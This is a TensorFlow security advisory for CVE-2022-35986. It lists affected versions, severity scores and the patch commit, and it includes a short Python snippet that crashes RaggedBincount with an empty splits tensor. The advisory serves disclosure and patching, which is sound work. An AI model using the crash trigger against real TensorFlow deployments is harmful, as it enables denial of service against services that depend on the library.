CVE-2022-35986 – tensorflow

Package

Manager: pip
Name: tensorflow
Vulnerable Version: >=0 <2.7.2 || >=2.8.0 <2.8.1 || >=2.9.0 <2.9.1

Severity

Level: Medium

CVSS v3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

CVSS v4.0: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS: 0.00306 pctl0.53318

Details

TensorFlow vulnerable to segfault in `RaggedBincount` ### Impact If `RaggedBincount` is given an empty input tensor `splits`, it results in a segfault that can be used to trigger a denial of service attack. ```python import tensorflow as tf binary_output = True splits = tf.random.uniform(shape=[0], minval=-10000, maxval=10000, dtype=tf.int64, seed=-7430) values = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int32, seed=-10000) size = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int32, seed=-10000) weights = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.float32, seed=-10000) tf.raw_ops.RaggedBincount(splits=splits, values=values, size=size, weights=weights, binary_output=binary_output) ``` ### Patches We have patched the issue in GitHub commit [7a4591fd4f065f4fa903593bc39b2f79530a74b8](https://github.com/tensorflow/tensorflow/commit/7a4591fd4f065f4fa903593bc39b2f79530a74b8). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Di Jin, Secure Systems Labs, Brown University

Metadata

Created: 2022-09-16T22:29:01Z
Modified: 2022-09-19T19:39:16Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/09/GHSA-wr9v-g9vf-c74v/GHSA-wr9v-g9vf-c74v.json
CWE IDs: []
Alternative ID: GHSA-wr9v-g9vf-c74v
Finding: F002
Auto approve: 1